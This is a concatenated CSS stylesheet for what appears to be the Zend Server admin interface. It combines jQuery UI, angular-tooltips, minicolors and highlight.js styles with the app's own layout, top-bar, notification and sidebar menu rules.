.ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:22px}.ui-spinner-button{width:16px;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top:none;border-bottom:none;border-right:none}.ui-spinner .ui-icon{position:absolute;margin-top:-8px;top:50%;left:0}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-spinner .ui-icon-triangle-1-s{background-position:-65px -16px}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:text}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px;-webkit-box-shadow:0 0 5px #aaa;box-shadow:0 0 5px #aaa}body .ui-tooltip{border-width:2px}
/*
 * angular-tooltips
 * 1.1.4
 * 
 * Angular.js tooltips module.
 * http://720kb.github.io/angular-tooltips
 * 
 * MIT license
 * Mon Jun 06 2016
 */
tooltip._bottom tip tip-arrow,tooltip._top tip tip-arrow{border-left:6px solid transparent;border-right:6px solid transparent;left:50%;margin-left:-6px}._exradicated-tooltip{display:block;opacity:1;position:absolute;z-index:999}tooltip{display:inline-block;position:relative}@-webkit-keyframes animate-tooltip{0%{opacity:0}50%{opacity:.5}60%{opacity:.8}70%{opacity:.9}90%{opacity:1}}@-moz-keyframes animate-tooltip{0%{opacity:0}50%{opacity:.5}60%{opacity:.8}70%{opacity:.9}90%{opacity:1}}@-ms-keyframes animate-tooltip{tooltip 0%{opacity:0}tooltip 50%{opacity:.5}tooltip 60%{opacity:.8}tooltip 70%{opacity:.9}tooltip 90%{opacity:1}}@keyframes animate-tooltip{0%{opacity:0}50%{opacity:.5}60%{opacity:.8}70%{opacity:.9}90%{opacity:1}}tooltip._multiline{display:block}tooltip._slow._ready tip{animation:animate-tooltip .65s}tooltip._fast._ready tip{animation:animate-tooltip .15s}tooltip._steady._ready tip{animation:animate-tooltip .35s}tooltip tip{border-radius:3px;background:rgba(0,0,0,.85);color:#fff;display:none;line-height:normal;max-width:500px;min-width:100px;opacity:0;padding:8px 16px;position:absolute;text-align:center;width:auto;will-change:top,left,bottom,right}tooltip tip._hidden{display:block;visibility:hidden}tooltip.active:not(._force-hidden) tip{display:block;opacity:1;z-index:999}tooltip tip-tip{font-size:.95em}tooltip tip-tip._large{font-size:1.1em}tooltip tip-tip._small{font-size:.8em}tooltip._top tip{left:50%;top:-9px;-webkit-transform:translateX(-50%) translateY(-100%);transform:translateX(-50%) translateY(-100%)}tooltip._top tip tip-arrow{border-top:6px solid rgba(0,0,0,.85);content:'';height:0;position:absolute;top:100%;width:0}tooltip._bottom tip{right:50%;top:100%;-webkit-transform:translateX(50%) translateY(9px);transform:translateX(50%) translateY(9px)}tooltip._bottom tip tip-arrow{border-bottom:6px solid rgba(0,0,0,.85);bottom:100%;content:'';height:0;position:absolute;width:0}tooltip._left tip tip-arrow,tooltip._right tip tip-arrow{border-bottom:6px solid transparent;border-top:6px solid transparent;content:'';height:0;margin-top:-6px;position:absolute;top:50%;width:0}tooltip._right tip{left:100%;top:50%;-webkit-transform:translateX(9px) translateY(-50%);transform:translateX(9px) translateY(-50%)}tooltip._right tip tip-arrow{border-right:6px solid rgba(0,0,0,.85);right:100%}tooltip._left tip{left:-9px;top:50%;-webkit-transform:translateX(-100%) translateY(-50%);transform:translateX(-100%) translateY(-50%)}tooltip._left tip tip-arrow{border-left:6px solid rgba(0,0,0,.85);left:100%}tip-tip #close-button{cursor:pointer;float:right;left:8%;margin-top:-7%;padding:3px;position:relative}
/*# sourceMappingURL=angular-tooltips.css.map */

.minicolors {
  position: relative;
}

.minicolors-sprite {
  background-image: url(jquery.minicolors.png);
}

.minicolors-swatch {
  position: absolute;
  vertical-align: middle;
  background-position: -80px 0;
  border: solid 1px #ccc;
  cursor: text;
  padding: 0;
  margin: 0;
  display: inline-block;
}

.minicolors-swatch-color {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
}

.minicolors input[type=hidden] + .minicolors-swatch {
  width: 28px;
  position: static;
  cursor: pointer;
}

.minicolors input[type=hidden][disabled] + .minicolors-swatch {
  cursor: default;
}

/* Panel */
.minicolors-panel {
  position: absolute;
  width: 173px;
  background: white;
  border: solid 1px #CCC;
  box-shadow: 0 0 20px rgba(0, 0, 0, .2);
  z-index: 99999;
  box-sizing: content-box;
  display: none;
}

.minicolors-panel.minicolors-visible {
  display: block;
}

/* Panel positioning */
.minicolors-position-top .minicolors-panel {
  top: -154px;
}

.minicolors-position-right .minicolors-panel {
  right: 0;
}

.minicolors-position-bottom .minicolors-panel {
  top: auto;
}

.minicolors-position-left .minicolors-panel {
  left: 0;
}

.minicolors-with-opacity .minicolors-panel {
  width: 194px;
}

.minicolors .minicolors-grid {
  position: relative;
  top: 1px;
  left: 1px;
  width: 150px;
  height: 150px;
  background-position: -120px 0;
  cursor: crosshair;
}

.minicolors .minicolors-grid-inner {
  position: absolute;
  top: 0;
  left: 0;
  width: 150px;
  height: 150px;
}

.minicolors-slider-saturation .minicolors-grid {
  background-position: -420px 0;
}

.minicolors-slider-saturation .minicolors-grid-inner {
  background-position: -270px 0;
  background-image: inherit;
}

.minicolors-slider-brightness .minicolors-grid {
  background-position: -570px 0;
}

.minicolors-slider-brightness .minicolors-grid-inner {
  background-color: black;
}

.minicolors-slider-wheel .minicolors-grid {
  background-position: -720px 0;
}

.minicolors-slider,
.minicolors-opacity-slider {
  position: absolute;
  top: 1px;
  left: 152px;
  width: 20px;
  height: 150px;
  background-color: white;
  background-position: 0 0;
  cursor: row-resize;
}

.minicolors-slider-saturation .minicolors-slider {
  background-position: -60px 0;
}

.minicolors-slider-brightness .minicolors-slider {
  background-position: -20px 0;
}

.minicolors-slider-wheel .minicolors-slider {
  background-position: -20px 0;
}

.minicolors-opacity-slider {
  left: 173px;
  background-position: -40px 0;
  display: none;
}

.minicolors-with-opacity .minicolors-opacity-slider {
  display: block;
}

/* Pickers */
.minicolors-grid .minicolors-picker {
  position: absolute;
  top: 70px;
  left: 70px;
  width: 12px;
  height: 12px;
  border: solid 1px black;
  border-radius: 10px;
  margin-top: -6px;
  margin-left: -6px;
  background: none;
}

.minicolors-grid .minicolors-picker > div {
  position: absolute;
  top: 0;
  left: 0;
  width: 8px;
  height: 8px;
  border-radius: 8px;
  border: solid 2px white;
  box-sizing: content-box;
}

.minicolors-picker {
  position: absolute;
  top: 0;
  left: 0;
  width: 18px;
  height: 2px;
  background: white;
  border: solid 1px black;
  margin-top: -2px;
  box-sizing: content-box;
}

/* Swatches */
.minicolors-swatches,
.minicolors-swatches li {
  margin: 5px 0 3px 5px;
  padding: 0;
  list-style: none;
  overflow: hidden;
}

.minicolors-swatches .minicolors-swatch {
  position: relative;
  float: left;
  cursor: pointer;
  margin:0 4px 0 0;
}

.minicolors-with-opacity .minicolors-swatches .minicolors-swatch {
  margin-right: 7px;
}

.minicolors-swatch.selected {
  border-color: #000;
}

/* Inline controls */
.minicolors-inline {
  display: inline-block;
}

.minicolors-inline .minicolors-input {
  display: none !important;
}

.minicolors-inline .minicolors-panel {
  position: relative;
  top: auto;
  left: auto;
  box-shadow: none;
  z-index: auto;
  display: inline-block;
}

/* Default theme */
.minicolors-theme-default .minicolors-swatch {
  top: 5px;
  left: 5px;
  width: 18px;
  height: 18px;
}
.minicolors-theme-default .minicolors-swatches .minicolors-swatch {
  margin-bottom: 2px;
  top: 0;
  left: 0;
  width: 18px;
  height: 18px;
}
.minicolors-theme-default.minicolors-position-right .minicolors-swatch {
  left: auto;
  right: 5px;
}
.minicolors-theme-default.minicolors {
  width: auto;
  display: inline-block;
}
.minicolors-theme-default .minicolors-input {
  height: 20px;
  width: auto;
  display: inline-block;
  padding-left: 26px;
}
.minicolors-theme-default.minicolors-position-right .minicolors-input {
  padding-right: 26px;
  padding-left: inherit;
}

/* Bootstrap theme */
.minicolors-theme-bootstrap .minicolors-swatch {
  z-index: 2;
  top: 3px;
  left: 3px;
  width: 28px;
  height: 28px;
  border-radius: 3px;
}
.minicolors-theme-bootstrap .minicolors-swatches .minicolors-swatch {
  margin-bottom: 2px;
  top: 0;
  left: 0;
  width: 20px;
  height: 20px;
}
.minicolors-theme-bootstrap .minicolors-swatch-color {
  border-radius: inherit;
}
.minicolors-theme-bootstrap.minicolors-position-right > .minicolors-swatch {
  left: auto;
  right: 3px;
}
.minicolors-theme-bootstrap .minicolors-input {
  float: none;
  padding-left: 44px;
}
.minicolors-theme-bootstrap.minicolors-position-right .minicolors-input {
  padding-right: 44px;
  padding-left: 12px;
}
.minicolors-theme-bootstrap .minicolors-input.input-lg + .minicolors-swatch {
  top: 4px;
  left: 4px;
  width: 37px;
  height: 37px;
  border-radius: 5px;
}
.minicolors-theme-bootstrap .minicolors-input.input-sm + .minicolors-swatch {
  width: 24px;
  height: 24px;
}
.minicolors-theme-bootstrap .minicolors-input.input-xs + .minicolors-swatch {
  width: 18px;
  height: 18px;
}
.input-group .minicolors-theme-bootstrap:not(:first-child) .minicolors-input {
  border-top-left-radius: 0;
  border-bottom-left-radius: 0;
}

/* Semantic Ui theme */
.minicolors-theme-semanticui .minicolors-swatch {
  top: 0;
  left: 0;
  padding: 18px;
}
.minicolors-theme-semanticui input {
  text-indent: 30px;
}

.hljs{display:block;overflow-x:auto;padding:0.5em;color:#333;background:#f8f8f8;-webkit-text-size-adjust:none}.hljs-comment,.diff .hljs-header{color:#998;font-style:italic}.hljs-keyword,.css .rule .hljs-keyword,.hljs-winutils,.nginx .hljs-title,.hljs-subst,.hljs-request,.hljs-status{color:#333;font-weight:bold}.hljs-number,.hljs-hexcolor,.ruby .hljs-constant{color:#008080}.hljs-string,.hljs-tag .hljs-value,.hljs-doctag,.tex .hljs-formula{color:#d14}.hljs-title,.hljs-id,.scss .hljs-preprocessor{color:#900;font-weight:bold}.hljs-list .hljs-keyword,.hljs-subst{font-weight:normal}.hljs-class .hljs-title,.hljs-type,.vhdl .hljs-literal,.tex .hljs-command{color:#458;font-weight:bold}.hljs-tag,.hljs-tag .hljs-title,.hljs-rule .hljs-property,.django .hljs-tag .hljs-keyword{color:#000080;font-weight:normal}.hljs-attribute,.hljs-variable,.lisp .hljs-body,.hljs-name{color:#008080}.hljs-regexp{color:#009926}.hljs-symbol,.ruby .hljs-symbol .hljs-string,.lisp .hljs-keyword,.clojure .hljs-keyword,.scheme .hljs-keyword,.tex .hljs-special,.hljs-prompt{color:#990073}.hljs-built_in{color:#0086b3}.hljs-preprocessor,.hljs-pragma,.hljs-pi,.hljs-doctype,.hljs-shebang,.hljs-cdata{color:#999;font-weight:bold}.hljs-deletion{background:#fdd}.hljs-addition{background:#dfd}.diff .hljs-change{background:#0086b3}.hljs-chunk{color:#aaa}
/**
 * initialize HTML elements styles
 */
@font-face {
    font-family: 'Open Sans';
	font-style: normal;
	font-weight: 400;
	src: local('Open Sans'), local('OpenSans'), url(/ZendServer/fonts/open_sans.woff) format('woff');
}

@font-face {
    font-family: 'Open Sans';
	font-style: normal;
	font-weight: 700;
	src: local('Open Sans Bold'), local('OpenSans-Bold'), url(/ZendServer/fonts/open_sans_bold.woff) format('woff');
}

tip-tip {
	white-space: normal;
}

html,body {
    margin: 0;
    padding: 0;
}

h1,h2,h3,h4,h5,h6 {
    margin: 0;
    padding: 0;
    border: 0;
    font-style: normal;
    font-size: 100%;
    line-height: 1;
    font-family: 'Open Sans', sans-serif;
}

table {
    border-collapse: collapse;
    border-spacing: 0;
}

ol,ul {
    list-style: none;
}

ul.performanceList {
    list-style: initial;
}

q:before,q:after,blockquote:before,blockquote:after {
    content: "";
}

html {
/* overflow:auto; */
    font-size: 100%;
    -webkit-text-size-adjust: 100%;
    -ms-text-size-adjust: 100%;
    height: 100%;
}

a:focus {
    outline: thin dotted;
}

a:hover,a:active {
    outline: 0;
}

article,aside,details,figcaption,figure,footer,header,hgroup,nav,section {
    display: block;
}

audio,canvas,video {
    display: inline-block;
}

audio:not([controls]) {
    display: none;
}

sub,sup {
    font-size: 75%;
    line-height: 0;
    position: relative;
    vertical-align: baseline;
}

sup {
    top: -0.5em;
}

sub {
    bottom: -0.25em;
}

img {
    border: 0;
    -ms-interpolation-mode: bicubic;
}

*:focus {
    outline: none;
}

button,input,select,textarea {
    font-size: 100%;
    margin: 0;
    vertical-align: baseline;
}

button,input {
    line-height: normal;
}

button::-moz-focus-inner,input::-moz-focus-inner {
    border: 0;
    padding: 0;
}

button:not([disabled]),input[type="button"]:not([disabled]),input[type="reset"]:not([disabled]),input[type="submit"]:not([disabled]) {
    cursor: pointer;
    -webkit-appearance: button;
}

button {
    font-family: 'Open Sans', sans-serif;
    background: #E3E3E3;
    height: 27px;
    border: 1px solid #CCC;
    color: #000;
    padding: 0 10px;
    font-size: 13px;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

button:enabled:not(.disabled):hover,
button:enabled:not(.disabled):active {
    color: #016FAE;
}

button:disabled,button.disabled {
    color: #bababa;
    cursor: default;
}

button[class^="icon"] {
    padding: 0 10px 0 25px;
}

button[class^="icon"]:hover {
    background-position: 5px 3px, left -20px;
}

button[class^="icon"]:active {
    background-position: 5px 3px, left -40px;
}

button::before {
    font: 24px/1em 'Glyphicons Regular';
    font-style: normal;
    font-size: 16px;
    margin-right: 9px;
    margin-left: -2px;
    float: left;
    margin-top: 1px;
    color: #43AFE0;
}

input[type="search"] {
    -webkit-appearance: textfield;
    -webkit-box-sizing: content-box;
    -moz-box-sizing: content-box;
    box-sizing: content-box;
}

input[type="search"]::-webkit-search-decoration {
    -webkit-appearance: none;
}

/* placeholder */
::-webkit-input-placeholder {
    color: #ada9a1;
}

input:-moz-placeholder {
    color: #ada9a1;
}


select {
    color: #000;
    font-size: 14px;
    height: 27px;
    padding: 0 3px;
    width: auto;
    border: 1px solid #C7C7C7;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

textarea {
    overflow: auto;
    vertical-align: top;
}

table {
    width: 100%;
    margin-bottom: 18px;
    padding: 0;
    font-size: 13px;
    border-collapse: collapse;
}

table th,table td {
/*    padding: 10px 10px 9px; Breaking the style of application expanded table rows.*/
    line-height: 18px;
    text-align: left;
}

table th {
    padding-top: 9px;
    font-weight: bold;
    vertical-align: middle;
}

table td {
    vertical-align: top;
/*border-top:1px solid #ddd;*/
}

table tbody th {
    border-top: 1px solid #ddd;
    vertical-align: top;
}

a {
    color: #0069d6;
    text-decoration: none;
    line-height: inherit;
    font-weight: inherit;
}

a:hover {
    color: #00438a;
    text-decoration: underline;
}

/******** GLOBAL CLASSES ************/

.icon-status-ok, 
.icon-status-warning {
	color: #2774A0;
	margin-left: 0;
	margin-right: 0;
}

.icon-status-warning {
	color: #ff5400;
}

.grayed {
    color: #888;
}

.w100 {
    width: 100%
}


.float-right {
    float: right;
}

.float-left {
    float: left;
}

.float-center {
    margin: 0 auto;
    text-align: center;
}

.regular-cursor {
    cursor: auto;
}

.hidden {
    display: none;
}

.force-hidden {
    display: none !important;
}

tr.odd td,
tr.even td {
    line-height: 23px;
	/* border-bottom: 1px solid #dfe3e4; */
}

tr.odd {
    background: #ffffff;
}

tr.even {
    background: #f3f3f3;
}

.sortable {
    cursor: pointer;
}

.clear {
    clear: both;
}

.noselect {
  -webkit-touch-callout: none; /* iOS Safari */
    -webkit-user-select: none; /* Chrome/Safari/Opera */
     -khtml-user-select: none; /* Konqueror */
       -moz-user-select: none; /* Firefox */
        -ms-user-select: none; /* Internet Explorer/Edge */
            user-select: none; /* Non-prefixed version, currently
                                  not supported by any browser */
}

.clearfix:after {
     visibility: hidden;
     display: block;
     font-size: 0;
     content: " ";
     clear: both;
     height: 0;
     }
.clearfix { display: inline-block; }
/* start commented backslash hack \*/
* html .clearfix { height: 1%; }
.clearfix { display: block; }
/* close commented backslash hack */
/**
 * Styles related to the layout of the GUI. 
 * The top bar, the main menu and the page wrapper
 */
 
body {
    background-color: #ffffff;
    margin: 0;
    font-family: 'Open Sans', sans-serif;
    font-size: 13px;
    font-weight: normal;
    color: #404040;
    min-height: 100%;
    height: 100%;
}


#page-wrapper {
    height: 100%;
}

/*************** TOP BAR ******************/
.topbar {
	top: 0;
	left: 0;
	right: 0;
	z-index: 10000;
	margin: 0;
	height: 36px;
	overflow: visible;
	position: fixed;
}
.topbar a {
	color: #bfbfbf;
	text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
}
#notification-msg-messages .description a {
	color: #0069d6;
    text-decoration: none;
    line-height: inherit;
    font-weight: inherit;
    position: initial;
    font-size: inherit;
    display: inline;
}
.topbar ul {
	padding: 0;
	width: 100%;
	font-size: 0;
	display: block;
	margin: 0 10px 0 0;
}
.topbar ul li {
	display: block;
	float: left;
}
.topbar ul li a {
	display: block;
	line-height: 19px;
	text-decoration: none;
}
.topbar ul li a:hover {
	color: #ffffff;
	text-decoration: none;
}
.topbar .topNav {
	height: 36px;
	background: #000;
	width: 100%;
}
.topbar .topNav ul {
	height: 100%;
}
.topbar .topNav ul li {
	display: inline-block;
}
.topbar .topNav ul li a {
	position: relative;
	background: none;
	color: #fff;
	font-size: 14px;
	line-height: 11px;
	height: 11px;
	margin-top: 3px;
}
.topbar .topNav ul li i.glyphicons::before {
	top: 7px;
	margin-left: 5px;
	font-size: 15px;
	margin-right: 5px;
}


/************** NOTIFICATIONS ****************/

#notification-count,#a-notification-count {
    position: absolute;
    top: 4px;
    left: 4px;
	
    width: 16px;
    height: 16px;
    line-height: 16px;
	
    background: #44AFE3;
    color: black;
	
    font-size: 10px;
    text-align: center;
	
    border-radius: 10px;
}

#notification-messages::before,#a-notification-messages::before {
    content:"";
    position:absolute;
    top: -10px;
    right: 10px;
    width: 0px;
    height: 0;
    border-left: 10px solid transparent;
    border-right: 10px solid transparent;
    border-bottom: 10px solid #3B98C5;
}
#notification-messages,#a-notification-messages {
    right: 150px;
    position: fixed;
    top: 35px;
    width: 450px;
    background: #FFF;
    text-align: left;
    border: 1px solid rgba(127, 127, 127, 0.55);
    z-index: 210;
    /*transition: all 1s;*/
}

#notification-messages #pane-title,#a-notification-messages #pane-title {
    background: rgb(59, 152, 197);
    font-weight: bold;
    padding: 4px 8px;
    color: #fff;
}

#notification-messages .message,#a-notification-messages .message {
    position: relative;
    padding: 10px;
    margin: 2px 0;
    background-color: #EEE;
}

#notification-messages .icon,#a-notification-messages .icon {margin-top: -2px;color: gray;}

#notification-messages .body,#a-notification-messages .body {
    /* display: inline-block; */
    /* width: 384px; */
}

#notification-messages .title,#a-notification-messages .title {
    font-weight: bold;
    margin: 10px 0px;
    font-size: 13px;
}

#notification-messages .description,#a-notification-messages .description {
    margin: 10px 0px 10px 32px;
    width: 355px;
}

#notification-messages .dismiss,#a-notification-messages .dismiss {
    position: absolute;
    top: 1px;
    right: 5px;
    width: 21px;
    height: 21px;
    cursor: pointer;
    transition: opacity 0.3s;
    opacity: 0.8;
}

#notification-messages .controls,#a-notification-messages .controls {
    margin: 20px 0px 0px;
}

#notification-messages .controls .buttons,#a-notification-messages .controls .buttons {
    text-align: right;
    white-space: nowrap;
}

/************ MAIN MENU BUTTONS ****************/

#main-menu-buttons {
    position: absolute;
    right: 0px;
    top: 0px;
    height: 36px;
}

#main-menu-buttons ul li {
    display: inline-block;
    font-size: 12px;
    transition: background 0.3s;
    vertical-align: top;
}

.topNav #main-menu-buttons li:hover {
    background: rgba(72,141,182,0.65);
}

.topNav #main-menu-buttons li.not-clickable:hover {
    background: transparent;
    cursor: default;
}

.topNav #main-menu-buttons li  i.glyphicons::before {
    font-size: 20px;
}

#main-menu-buttons a {
    display: block;
    height: 33px;
    outline: 0;
}



.restart-dismiss {
    height: 21px;
    padding-left: 5px;
    cursor: pointer;
}

.restart-tooltip {
    padding: 6px;
    padding-right: 10px;
    width: 340px;
    maring-right: 3px;
}

.floating-tip {
    -moz-box-shadow: -3px 3px 4px rgba(128, 128, 128, 0.35);
    -webkit-box-shadow: -3px 3px 4px rgba(128, 128, 128, 0.35);
    box-shadow: -3px 3px 4px rgba(128, 128, 128, 0.35);
}

.restart-tooltip div.body {
    margin-top: 28px;
}

.restart-tooltip div.headline {
    height: 20px;
    padding-left: 5px;
    background: transparent url("/ZendServer/images/error-message-icon.png") no-repeat;
}

.restart-tooltip h3 {
    margin-top: 5px;
    margin-left: 22px;
}


/* fixed bug #ZSRV-7784 to make the help icon always looking as active button - icon-over */
#main-menu-profile-btn {
    background: url('/ZendServer/images/icons/profile-icon.png') right top no-repeat;
}

#main-menu-settings-btn {
    background: url('/ZendServer/images/icons/settings-icon.png') right top no-repeat;
}

@-moz-keyframes spin {
    100% {
        -moz-transform: rotate(-360deg);
    }
}

@-webkit-keyframes spin {
    100% {
        -webkit-transform: rotate(-360deg);
    }
}

@keyframes spin {
    100% {
        -webkit-transform: rotate(-360deg);
        transform: rotate(-360deg);
    }
}

#main-menu-restart-btn.restarting i.glyphicons::before,
#main-menu-restart-btn.active i.glyphicons::before {
    color: #FFA500;
}

#main-menu-restart-btn.restarting i:before {
    -webkit-animation: spin 2s infinite linear;
    -moz-animation: spin 2s infinite linear;
    -o-animation: spin 2s infinite linear;
    animation: spin 2s infinite linear;
}

#main-menu-notification-holder {
    width: 240px;
    height: 300px;
    position: absolute;
    top: 30px;
    right: 100px;
    background: #339;
    z-index: 210;
	/* CURRENTLY INVIS TILL WE GOOD TO GO AGAIN*/
    display: none;
}

/*************** /TOP BAR ******************/



#wrapper {
    height: 100%;
}

#side-bar {
    position: fixed;
    top: 35px;
    width: 200px;
    background: #585858;
    bottom: 0;
	z-index: 101;
}

.side-bar-open-close {
	position: absolute;
	background: rgba(88, 88, 88, 0.1);
	height: 200px;
	width: 20px;
	z-index: -1;
	right: 0px;
	top: 30%;
	border-radius: 0 10px 10px 0;
	text-align: center;
	line-height: 200px;
	color: #DDD;
	
	transition: all 0.3s;
}
.side-bar-open-close.side-bar-open-close-displayed {
	right: -20px;
}

.side-bar-open-close i {
	opacity: 0;
	padding: 3px;
	background: #DDD;
	color: #222;
	border-radius: 10px;
	transition: all 0.3s;
}

.side-bar-open-close.side-bar-open-close-displayed i {
	opacity: 1;
}

.side-bar-open-close:hover {
	background: rgba(88,88,88, 0.5);
	color: #FFF;
}

#main-menu a {
  border-bottom: 1px solid #464646;
  display: block;
  text-decoration: none;
  padding: 4px;
  background-color: #3B3B3B;
  line-height: 29px;
  color: #e4e4e4;
  outline: 0;
  position: relative;
  font-size: 14px;
  padding-left: 43px;
  transition: background 0.3s, color 0.3s;
  background: #3B3B3B;
  transform: translateZ(0);
  
  white-space: nowrap;
  text-overflow: ellipsis;
}
#main-menu a:hover {
  color: #e4e4e4;
  outline: 0;
  position: relative;
  font-size: 14px;
  background: #585858;
}
#main-menu a:active {
  color: #e4e4e4;
  outline: 0;
  position: relative;
  font-size: 14px;
}
#main-menu a i.glyphicons {
  position: absolute;
  left: 4px;
}
#main-menu a i.glyphicons.children-chevron {
  left: auto;
  right: 1px;
  top: 5px;
}
#main-menu a i.glyphicons.children-chevron::before {
  font-size: 15px;
  color: #A3A3A3;
  transition: all 0.5s;
}
#main-menu nav > a {
  background: #585858;
  border: 0;
}
#main-menu nav > a:hover, #main-menu nav > a.active {
  background: #a3a3a3;
  color: #000;
}
#main-menu > div {
	overflow: hidden;
}
#main-menu > div > a > i::before {
  font-size: 17px;
  color: #44afe5;
}
#main-menu > div > nav {
  overflow: hidden;
}
#main-menu > div.opened a i.glyphicons.children-chevron::before {
  -ms-transform: rotate(90deg);
  /* IE 9 */
  -webkit-transform: rotate(90deg);
  /* Chrome, Safari, Opera */
  transform: rotate(90deg);
}
#main-menu > div.active > nav {
  display: block;
}
#main-menu > .active > a {
  font-weight: bold;
}



div#main-wrapper {
    position: relative;
	min-width: 1220px;
}

#side-bar-beneath {
	position: relative;
	width: 200px;
	top: 35px;
	z-index: 90;
	float: left;
	background: #585858;
}

#main-container.super-container {
	float: left;
	position: relative;
	min-width: 1170px;
	margin-left: 10px;
	width: calc(100% - 210px);
	padding: 45px 20px 10px 0px;
}

#main-container {
    padding: 0;
    box-sizing: border-box;
    width: auto;
}

#main-container header h1 {
    margin-top: 10px;
    font-size: 38px;
    font-weight: lighter;
    font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, sans-serif;
}

#main-container header h1 small {
    font-size: 18px;
    font-weight: lighter;
    font-family: "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, sans-serif;
}

.logo-placeholder {
    position: absolute;
    top: 0px;
    left: 25px;
    z-index: 9;
}

.logo {
    height: 50px;
    display: inline;
}

.edition {
    display: inline;
    margin: 4px 0 0 -13px;
}

.frame-top-edition {
    margin: 0 6px 0 0;
}


#host_and_env_title {
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	text-align: center;
	
	position: absolute;
	top: 0;
	left: calc(50% - 100px);
	
	width: 200px;
	height: 36px;
	
	font-size: 14px;
	line-height: 36px;
	color: #FFF;
}
#host_and_env_login_title {
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	text-align: center;
	height: 36px;
	font-size: 14px;
	line-height: 36px;
	color: #FFF;
}
#host_and_env_title .environment-icon,
#host_and_env_login_title .environment-icon {
	font-size: 18px;
	vertical-align: middle;
}

#host_and_env_title .host_and_env_title_edit_link {
	opacity: 0.3;
}
#host_and_env_title:hover .host_and_env_title_edit_link {
	opacity: 1;
}

#clock-placeholder {
    display: inline;
    margin: 8px 0;
    float: left;
    width: 68px;
    font-weight: bold;
    color: #fff;
    font-size: 14px;
    text-align: center;
}



/****************************************************************************/
/****************************************************************************/
/******************** Minimal version (only the icons) **********************/
/****************************************************************************/
/****************************************************************************/

#wrapper.minimal #side-bar {
	width: 40px;
}

#wrapper.minimal #side-bar-beneath {
	width: 40px;
}

#wrapper.minimal #main-container.super-container {
	width: calc(100% - 50px);
	min-width: 0px;
}

#wrapper.minimal #side-bar #main-menu-fast-navigation.fast_navigation_focused {
	width: 240px;
	position: relative;
	background: #3B3B3B;
}

#wrapper.minimal #side-bar #main-menu i[class*="chevron"] {
	display: none;
}

#wrapper.minimal .submenu-cat-name {
	display: block;
	height: 38px;
	line-height: 38px;
	border-bottom: 1px solid #666;
	padding-left: 5px;
	box-sizing: border-box;
	color: #44AFE5;
	background: #585858;
	cursor: default;
}

#wrapper.minimal #main-menu > div.active > a,
#wrapper.minimal #main-menu > div.opened > a {
	background: #585858;
}

#wrapper.minimal #main-menu > div a {
	padding-left: 10px;
}
#wrapper.minimal #main-menu > div > a {
	padding-left: 0;
}
#wrapper.minimal #main-menu > div > a span {
	visibility: hidden;
}

#wrapper.minimal #main-menu > div > nav {
	display: none;
	position: absolute;
	width: 200px;
	z-index: 10;
	left: 40px;
	margin-top: -38px;
}
#wrapper.minimal #main-menu > div > nav a {
	padding-left: 15px;
}
#wrapper.minimal #main-menu > div:hover > nav {
	display: block;
}

.grid-application-icon {
	max-width: 20px;
	max-height: 20px;
	vertical-align: middle;
}

.muted-wrapper {
    opacity: 0.3;
}

.muted {
    color: #AAA;
}
a.button {
    font-family: 'Open Sans', sans-serif !important;
    background: #E3E3E3 !important;
    height: 29px !important;
    border: 1px solid #CCC !important;
    color: #000 !important;
    padding: 3px 10px 4px !important;
    font-size: 13px !important;
    -moz-border-radius: 2px !important;
    -webkit-border-radius: 2px !important;
    -khtml-border-radius: 2px !important;
    border-radius: 2px !important;
    display: inline !important;
    text-shadow: none;
    margin-right: 3px;
}
.settings-error {
    display: inline-block;
    color: red;
    margin-left: 10px;
}
div.graph-blocker {
	position: absolute;
    width: 70%;
    height: 250px;
    z-index: 1;
	font-size: 58px;
	font-family: 'Open Sans', sans-serif;
	font-weight: bold;
    background: rgba(255, 255, 255, 0.6);
    text-align: center;
    line-height: 250px;
	color: #dddd;
}

/* zs-reset.css styles */

/* layout.css styles */

.validation-advice {
	font-size: 0.85em;
	color: #C11;
	line-height: 1.2em;
}

/*****  MODAL STYLES **********/
